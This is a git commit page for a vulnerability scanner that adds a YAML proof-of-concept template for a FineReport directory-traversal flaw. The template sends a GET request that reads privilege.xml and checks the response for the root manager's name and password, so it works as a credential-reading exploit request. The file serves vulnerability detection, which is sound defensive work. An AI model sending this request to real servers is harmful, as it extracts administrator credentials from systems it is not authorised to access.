finereport-directory-traversal (#396)

* finereport-directory-traversal
chaitin · Sep 3, 2019 · d111aee · d111aee
1 parent 7828b20
commit d111aee
Showing 1 changed file with 11 additions and 0 deletions.
diff --git a/pocs/finereport-directory-traversal.yml b/pocs/finereport-directory-traversal.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-finereport-directory-traversal
+rules:
+  - method: GET
+    path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
+    follow_redirects: false
+    expression: |
+      status == 200 && body.bcontains(b'<rootManagerName>') && body.bcontains(b'<rootManagerPassword>')
+detail:
+  author: l1nk3r(http://www.lmxspace.com/)
+  links:
+    - http://foreversong.cn/archives/1378